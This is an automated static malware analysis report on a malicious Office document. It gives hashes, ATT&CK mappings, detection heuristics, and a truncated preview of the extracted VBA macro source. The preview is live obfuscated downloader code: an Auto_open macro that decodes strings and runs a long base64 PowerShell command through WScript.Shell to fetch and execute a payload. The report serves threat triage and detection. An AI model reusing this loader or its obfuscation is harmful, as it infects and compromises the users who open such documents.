Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e8f1da4741c21528…

MALICIOUS

Office (OOXML)

16.0 KB First seen: 2021-09-23
MD5: a475964f45c2e029789751d37d5cb71a SHA-1: 239f75bd4ca04a3b9093a13911ed3420aa310677 SHA-256: e8f1da4741c215285d9b16ea376624110a1efd44d53d34502ce6386405cfdf31
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 Signed Binary Proxy Execution: Rundll32

The sample is an OOXML document containing obfuscated VBA macros. The Auto_open macro utilizes WScript.Shell to execute a command, which is heavily obfuscated but appears to involve decoding and executing a payload. This indicates a macro-based downloader designed to fetch and run additional malware.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5848 bytes
SHA-256: d9d51546574120a4d7e7454d4aec29499915aa9de123f94e1d0c09a56d7edde1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ajqa"

Public Sub Auto_open()
uqw.mn
dsfdas = cxzvxzsf

End Sub

Attribute VB_Name = "uqw"
Function ljknmn(ophji As Variant)
sdfxc = "bvcvhgj  cvnvcfh cvnvhgk"
ljknmn = Chr(ophji - 130)
vcxbdg = "vxvbxdfg cxfgh vcvn gfgh ,vbnvc cvcvn"
End Function
Function vkfeaba(bcvfleoaongikarien As String)
ieruqnxxdokjsyhirdmgaa = 0

fdsaf = "cxvx cbbcvx vcxzvsdf fdasxcv"


frgpkhesucwjqviihevpwiqubda = "WSCript.shell"
Set ejzhshzqnqbqx = CreateObject(frgpkhesucwjqviihevpwiqubda)

'hjgjg ffhg5645n /*/
sofgnxspgilcwkfvrzex = ejzhshzqnqbqx.Run(bcvfleoaongikarien, ieruqnxxdokjsyhirdmgaa)
End Function
Sub mn()

drgf = ljknmn(229) & ljknmn(239) & ljknmn(230) & ljknmn(162) & ljknmn(177) & ljknmn(229) & ljknmn(162) & ljknmn(210) & ljknmn(241) & ljknmn(224) & ljknmn(249) & ljknmn(224) & ljknmn(199) & ljknmn(212) & ljknmn(245) & ljknmn(224) & ljknmn(234) & ljknmn(231) & ljknmn(224) & ljknmn(238) & ljknmn(206) & ljknmn(162) & ljknmn(175) & ljknmn(199) & ljknmn(162)
drgf = drgf & "WwBTAFkAcwB0AEUATQAuAFQARQB4AFQALgBFAG4AQwBPAEQAaQBuAEcAXQA6ADoAVQBOAGkAYwBvAEQAZQAuAEcAZQB0AFMAdABSAEkAbgBnACgAWwBzAHkAcwB0AEUAbQAuAEMATwBuAHYARQBSAHQAXQA6ADoARgBSAE8ATQBCAGEAcwBlADYANABzAHQAUgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBA"
drgf = drgf & "EcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcAVQBBAGIAZwBCAHUAQQBHAE0AQQBaAHcAQgB6AEEASABrAEEAYwBRAEIAegBBAEcARQBBAFoAdwBCADMAQQBIAFEAQQBjAHcAQgBvAEEARwBNAEEAZAB3AEIAaABBAEcAdwBBAGEAdwBCAGoAQQBHAHcAQQBZAHcAQgBuAEEASABRAEEAZQBBAEIAdwBBAEgAQQBBAGMAZwBCADUAQQBHAG8AQQBhAHcAQgA0AEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGUAZwBCAG4AQQBIAFEAQQBhAHcAQgByAEEARwA0AEEAZQBBAEIAcgBBAEcAbwBBAGIAQQBBAGcAQQBDAHcAQQBJAEEAQQBrAEEARwBJAEEAWQBRAEIAagBBAEgATQBBAFkAUQBCAHYAQQBIAGcAQQBkAHcAQgB0AEEARwBVAEEAYgBnAEIAawBBAEgATQBBAGEAdwBCAG4AQQBHAGsAQQBhAGcAQQBnAEEAQwBrAEEARABRAEEASwBBAEgAcwBBAEkAQQBCAEoAQQBHADAAQQ"
drgf = drgf & "BjAEEAQgBQAEEASABJAEEAVgBBAEEAdABBAEcAMABBAGIAdwBCAEUAQQBGAFUAQQBiAEEAQgBsAEEAQwBBAEEAUQBnAEIASgBBAEgAUQBBAGMAdwBCADAAQQBIAEkAQQBRAFEAQgBPAEEASABNAEEAWgBnAEIAbABBAEYASQBBAE8AdwBBAE4AQQBBAG8AQQBVAHcAQgAwAEEARQBFAEEAVQBnAEIAVQBBAEMAMABBAFEAZwBCAEoAQQBGAFEAQQBVAHcAQgAwAEEASABJAEEAWQBRAEIAdQBBAEgATQBBAFoAZwBCAEYAQQBGAEkAQQBJAEEAQQB0AEEASABNAEEAYgB3AEIAVgBBAEgASQBBAFEAdwBCAEYAQQBDAEEAQQBKAEEAQgA2AEEARwBjAEEAZABBAEIAcgBBAEcAcwBBAGIAZwBCADQAQQBHAHMAQQBhAGcAQgBzAEEAQwBBAEEATABRAEIAawBBAEcAVQBBAFUAdwBCAFUAQQBFAGsAQQBUAGcAQgBCAEEARgBRAEEAYQBRAEIAUABBAEcANABBAEkAQQBBAGsAQQBHAEkAQQBZAFEAQgBqAEEASABNAEEAWQBRAEI"
drgf = drgf & "AdgBBAEgAZwBBAGQAdwBCAHQAQQBHAFUAQQBiAGcAQgBrAEEASABNAEEAYQB3AEIAbgBBAEcAawBBAGEAZwBBADcAQQBDAEEAQQBKAGcAQQBnAEEAQwBRAEEAWQBnAEIAaABBAEcATQBBAGMAdwBCAGgAQQBHADgAQQBlAEEAQgAzAEEARwAwAEEAWgBRAEIAdQBBAEcAUQBBAGMAdwBCAHIAQQBHAGMAQQBhAFEAQgBxAEEARABzAEEASQBBAEIAOQBBAEgAUQBBAGMAZwBCADUAQQBIAHMAQQBKAEEAQgBwAEEARwBNAEEAYwBRAEIAdwBBAEcANABBAFoAUQBCADMAQQBHAFUAQQBlAGcAQgAyAEEARwBZAEEAWQBnAEIAcQBBAEcAcwBBAGEAQQBCAHQAQQBIAE0AQQBiAGcAQgBzAEEARwBvAEEAYQBnAEIAeQBBAEgASQBBAFAAUQBBAGsAQQBHAFUAQQBUAGcAQgAyAEEARABvAEEAVgBBAEIAbABBAEUAMABBAGMAQQBBAHIAQQBDAGMAQQBYAEEAQgBzAEEASABRAEEAZABnAEIAaABBAEMANABBAFoAUQBCADQAQQBH"
drgf = drgf & "AFUAQQBKAHcAQQA3AEEAQQAwAEEAQwBnAEIAbABBAEcANABBAGIAZwBCAGoAQQBHAGMAQQBjAHcAQgA1AEEASABFAEEAYwB3AEIAaABBAEcAYwBBAGQAdwBCADAAQQBIAE0AQQBhAEEAQgBqAEEASABjAEEAWQBRAEIAcwBBAEcAcwBBAFkAdwBCAHMAQQBHAE0AQQBaAHcAQgAwAEEASABnAEEAYwBBAEIAdwBBAEgASQBBAGUAUQBCAHEAQQBHAHMAQQBlAEEAQQBnAEEAQwBjAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATgBRAEEAdQBBAEQASQBBAE4AQQBBAHkAQQBDADQAQQBNAFEAQQB4AEEARABBAEEATABnAEEAeABBAEQATQBBAEwAdwBCAEIAQQBHADQAQQBlAFEAQgBsAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBhAFEAQgBqAEEASABFAEEAYwBBAEIAdQBBAEcAVQBBAGQAdwBCAGwAQQBIAG8AQQB
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 39936 bytes
SHA-256: b98bc2a6340a0804ff04e8ecbbfc6f864aaeb0f5074a3a751b3201e71f93c437
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).

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